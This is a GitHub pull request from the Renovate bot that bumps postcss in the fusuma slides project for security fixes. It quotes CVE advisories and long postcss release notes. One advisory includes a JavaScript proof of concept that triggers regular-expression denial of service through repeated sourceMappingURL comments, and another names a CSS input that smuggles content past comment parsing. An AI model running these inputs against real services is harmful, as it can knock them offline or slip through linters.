hiroppy / fusuma

✍️ Fusuma makes slides with Markdown easily.
https://hiroppy.github.io/fusuma
5.39k stars 195 forks source link

chore(deps): update dependency postcss to v8.4.31 [security] #686

Open renovate[bot] opened 11 months ago

renovate[bot] commented 11 months ago

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
postcss (source) 8.2.15 -> 8.4.31 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2021-23368

The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.

CVE-2021-23382

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}

CVE-2023-44270

An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.

This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.


Release Notes

postcss/postcss (postcss) ### [`v8.4.31`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8431) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.30...8.4.31) - Fixed `\r` parsing to fix CVE-2023-44270. ### [`v8.4.30`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8430) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.29...8.4.30) - Improved source map performance (by Romain Menke). ### [`v8.4.29`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8429) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.28...8.4.29) - Fixed `Node#source.offset` (by Ido Rosenthal). - Fixed docs (by Christian Oliff). ### [`v8.4.28`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8428) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.27...8.4.28) - Fixed `Root.source.end` for better source map (by Romain Menke). - Fixed `Result.root` types when `process()` has no parser. ### [`v8.4.27`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8427) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.26...8.4.27) - Fixed `Container` clone methods types. ### [`v8.4.26`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8426) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.25...8.4.26) - Fixed clone methods types. ### [`v8.4.25`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8425) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.24...8.4.25) - Improve stringify performance (by Romain Menke). - Fixed docs (by [@​vikaskaliramna07](https://togithub.com/vikaskaliramna07)). ### [`v8.4.24`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8424) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.23...8.4.24) - Fixed `Plugin` types. ### [`v8.4.23`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8423) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.22...8.4.23) - Fixed warnings in TypeDoc. ### [`v8.4.22`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8422) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.21...8.4.22) - Fixed TypeScript support with `node16` (by Remco Haszing). ### [`v8.4.21`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8421) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.20...8.4.21) - Fixed `Input#error` types (by Aleks Hudochenkov). ### [`v8.4.20`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8420) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.19...8.4.20) - Fixed source map generation for childless at-rules like `@layer`. ### [`v8.4.19`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8419) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.18...8.4.19) - Fixed whitespace preserving after AST transformations (by Romain Menke). ### [`v8.4.18`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8418) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.17...8.4.18) - Fixed an error on `absolute: true` with empty `sourceContent` (by Rene Haas). ### [`v8.4.17`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8417) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.16...8.4.17) - Fixed `Node.before()` unexpected behavior (by Romain Menke). - Added TOC to docs (by Mikhail Dedov). ### [`v8.4.16`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8416) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.15...8.4.16) - Fixed `Root` AST migration. ### [`v8.4.15`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8415) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.14...8.4.15) - Fixed AST normalization after using custom parser with old PostCSS AST. ### [`v8.4.14`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8414) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.13...8.4.14) - Print “old plugin API” warning only if plugin was used (by [@​zardoy](https://togithub.com/zardoy)). ### [`v8.4.13`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8413) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.12...8.4.13) - Fixed `append()` error after using `.parent` (by Jordan Pittman). ### [`v8.4.12`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8412) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.11...8.4.12) - Fixed `package.funding` to have same value between all PostCSS packages. ### [`v8.4.11`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8411) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.10...8.4.11) - Fixed `Declaration#raws.value` type. ### [`v8.4.10`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8410) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.9...8.4.10) - Fixed `package.funding` URL format. ### [`v8.4.9`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#849) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.8...8.4.9) - Fixed `package.funding` (by Álvaro Mondéjar). ### [`v8.4.8`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#848) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.7...8.4.8) - Fixed end position in empty Custom Properties. ### [`v8.4.7`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#847) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.6...8.4.7) - Fixed `Node#warn()` type (by Masafumi Koba). - Fixed comment removal in values after `,`. ### [`v8.4.6`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#846) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.5...8.4.6) - Prevented comment removing when it change meaning of CSS. - Fixed parsing space in last semicolon-less CSS Custom Properties. - Fixed comment cleaning in CSS Custom Properties with space. - Fixed throwing an error on `.root` access for plugin-less case. ### [`v8.4.5`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#845) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.4...8.4.5) - Fixed `raws` types to make object extendable (by James Garbutt). - Moved from Yarn 1 to pnpm. ### [`v8.4.4`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#844) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.3...8.4.4) - Fixed absolute path in source map on zero plugins mode. ### [`v8.4.3`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#843) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.2...8.4.3) - Fixed `this.css.replace is not a function` error. ### [`v8.4.2`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8429) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.1...8.4.2) - Fixed `Node#source.offset` (by Ido Rosenthal). - Fixed docs (by Christian Oliff). ### [`v8.4.1`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8419) [Compare Source](https://togithub.com/postcss/postcss/compare/8.4.0...8.4.1) - Fixed whitespace preserving after AST transformations (by Romain Menke). ### [`v8.4.0`](https://togithub.com/postcss/postcss/releases/tag/8.4.0): 8.4 “President Camio” [Compare Source](https://togithub.com/postcss/postcss/compare/8.3.11...8.4.0) President Camio seal PostCSS 8.4 brought ranges for warnings and errors, smaller `node_modules` size, lazy parsing to avoid `PostCSS does nothing` warning, and TypeScript fixes. #### Thanks to Sponsors This release was possible thanks to our community. Sponsored by Tailwind CSS Sponsored by ThemeIsle If your company wants to support the sustainability of front-end infrastructure or wants to give some love to PostCSS, you can join our supporters by: - [**Tidelift**](https://tidelift.com/) with a Spotify-like subscription model supporting all projects from your lock file. - Direct donations in [**PostCSS & Autoprefixer Open Collective**](https://opencollective.com/postcss#section-contributors). #### Rages for Errors and Warnings [@​adalinesimonian](https://togithub.com/adalinesimonian), the author of amazing [Stylelint extension](https://togithub.com/stylelint/vscode-stylelint) for VS Code, added ranges to errors and warnings. ```js result.warn(msg, { index }) // One character warning at index result.warn(msg, { endIndex }) // Starts at node start, ends at endIndex result.warn(msg, { index, endIndex }) // Starts at index, ends at endIndex result.warn(msg, { start }) // Starts at start, ends at node end result.warn(msg, { end }) // Starts at node start, ends at end result.warn(msg, { start, end }) // Starts at start, ends at end result.warn(msg, { word }) // Starts at word location, ends at word index + length ``` It will improve DX in the IDE extension. #### Lazy Parsing Previously, we found that many tools run PostCSS even if the developer didn’t pass any PostCSS plugins. Parsing is the most expensive step in CSS processing. It led to a waste of resources without any reason. We tried to resolve the problem by adding a `PostCSS does nothing` warning. But it didn’t force tool authors to be more careful with user’s resources. If PostCSS sees that tool call it without passing plugins (or changing parser/stringifier), PostCSS will not parse CSS (until toll will call `Result#root`). In 8.4, [@​bogdan0083](https://togithub.com/bogdan0083) (with the help of [@​WilhelmYakunin](https://togithub.com/WilhelmYakunin)) tries to solve the problem in another way. It allows us to save resources and remove the `PostCSS does nothing` warning. ```js // No plugins, we do not parse CSS let result = await postcss().process(css, { from }) result.css // Is the same string passed to process() result.map // Special 1-to-1 source map result.root // CSS will parsed only here ``` #### Install Size Reduction With [≈60M weekly](https://npm-stat.com/charts.html?package=postcss) downloads, PostCSS has responsibility for the world’s resource spending. Together with [@​7rulnik](https://togithub.com/7rulnik) we [reduced](https://togithub.com/7rulnik/source-map-js/pull/7) [`source-map-js`](https://togithub.com/7rulnik/source-map-js) size. It is transitive dependency of PostCSS. In 8.4, we moved to a fixed version of `source-map-js`, which reduced the `postcss` size in your `node_modules` from [≈1 MB to 0.3 MB](https://packagephobia.com/result?p=postcss). With the huge popularity of PostCSS, it will free a lot of resources on our CIs. PostCSS install size reduction #### Migration from Jest to `uvu` [@​kimoofey](https://togithub.com/kimoofey) refactored all tests from the popular Jest framework to small and fast [`uvu`](https://togithub.com/lukeed/uvu). It will not affect end-users. However, it reduced our `node_modules` size by 33 MB and made tests twice faster (`yarn install & yarn unit`: 24 → 13 seconds). #### TypeScript Fixes - Added `Processor` types. - Added `Stringifier` types (by [@​43081j](https://togithub.com/43081j)). - Fixed types `Root` and `Document` in result values (by [@​43081j](https://togithub.com/43081j)). - Fixed `Node#walkRules()` types (by [@​hudochenkov](https://togithub.com/hudochenkov)). #### Other Changes - Fixed docs (by [@​paulshryock](https://togithub.com/paulshryock)). ### [`v8.3.11`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8311) [Compare Source](https://togithub.com/postcss/postcss/compare/8.3.10...8.3.11) - Remove debugging code. ### [`v8.3.10`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8310) [Compare Source](https://togithub.com/postcss/postcss/compare/8.3.9...8.3.10) - Fixed `Maximum call stack` issue of some source maps (by Yeting Li). ### [`v8.3.9`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#839) [Compare Source](https://togithub.com/postcss/postcss/compare/8.3.8...8.3.9) - Replaced `nanocolors` to `picocolors`. - Reduced package size. ### [`v8.3.8`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#838) [Compare Source](https://togithub.com/postcss/postcss/compare/8.3.7...8.3.8) - Update `nanocolors`. ### [`v8.3.7`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#837) [Compare Source](https://togithub.com/postcss/postcss/compare/8.3.6...8.3.7) - Replaced `colorette` to `nanocolors`. - Added bug field to `package.json` (by Christian Oliff). - Improved docs (by Andrew Bruce and Paul Shryock). ### [`v8.3.6`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#836) [Compare Source](https://togithub.com/postcss/postcss/compare/8.3.5...8.3.6) - Fixed column in `missed semicolon` error (by [@​Gusted](https://togithub.com/Gusted)). ### [`v8.3.5`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#835) [Compare Source](https://togithub.com/postcss/postcss/compare/8.3.4...8.3.5) - Fixed broken AST detection. ### [`v8.3.4`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#834) [Compare Source](https://togithub.com/postcss/postcss/compare/8.3.3...8.3.4) - Fixed broken AST detection. ### [`v8.3.3`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#833) [Compare Source](https://togithub.com/postcss/postcss/compare/8.3.2...8.3.3) - Fixed broken AST on `postcss` dependency duplication in custom parsers. ### [`v8.3.2`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#832) [Compare Source](https://togithub.com/postcss/postcss/compare/8.3.1...8.3.2) - Update changelog. ### [`v8.3.1`](https://togithub.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8311) [Compare Source](https://togithub.com/postcss/postcss/compare/8.3.0...8.3.1) - Remove debugging code. ### [`v8.3.0`](https://togithub.com/postcss/postcss/releases/tag/8.3.0): 8.3 “Duke Murmur” [Compare Source](https://togithub.com/postcss/postcss/compare/8.2.15...8.3.0) Duke Murmur seal PostCSS 8.3 improved source map parsing performance, added `Node#assign()` shortcut, and experimental `Document` node to AST. #### Thanks to Sponsors This release was possible thanks to our community. Sponsored by Tailwind CSS Sponsored by ThemeIsle If your company wants to support the sustainability of front-end infrastructure or wants to give some love to PostCSS, you can join our supporters by: - [**Tidelift**](https://tidelift.com/) with a Spotify-like subscription model supporting all projects from your lock file. - Direct donations in [**PostCSS & Autoprefixer Open Collective**](https://opencollective.com/postcss#section-contributors). #### Source Map Performance Because PostCSS needs synchronous API, we can’t move from the old \`source-map 0.6 to 0.7 (many other open-source projects too). [@​7rulnik](https://togithub.com/7rulnik) forked `source-map` 0.6 to [`source-map-js`](https://www.npmjs.com/package/source-map-js) and back-ported performance improvements from 0.7. In 8.3 we [switched](https://togithub.com/postcss/postcss/pull/1515) from `source-map` to this `source-map-js` fork. You map see 4x performance improvements in parsing map from processing step before PostCSS (for instance, Sass). #### `Document` Nodes Thanks to [@​gucong3000](https://togithub.com/gucong3000), PostCSS already parse CSS from HTML and JS files (CSS-in-JS templates and objects). But his plugin need big updates. [@​hudochenkov](https://togithub.com/hudochenkov) from [stylelint](https://stylelint.io/) team decided to create new parsers for styles inside [CSS-in-JS](https://togithub.com/stylelint/postcss-css-in-js), [HTML](https://togithub.com/stylelint/postcss-html), and [Markdown](https://togithub.com/stylelint/postcss-markdown). He [suggested](https://togithub.com/postcss/postcss/issues/1498) adding new [`Document`](https://postcss.org/api/#document) node type to PostCSS AST to keep multiple `Root` nodes inside and JS/HTML/Markdown code blocks between these style blocks. ```js const document = htmlParser( '' ) document.type //=> 'document' document.nodes.length //=> 2 document.nodes[0].type //=> 'root' ``` This is an experimental feature. Some aspects of this node could change within minor or patch version releases. #### `Node#assign()` Shortcut The creator of famous `postcss-preset-env` and many other PostCSS tools, [@​jonathantneal](https://togithub.com/jonathantneal) [suggested](https://togithub.com/postcss/postcss/pull/1572) a nice shortcut to change multiple properties in the node: ```js decl.assign({ prop: 'word-wrap', value: 'break-word' }) ```

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.



This PR was generated by Mend Renovate. View the repository job log.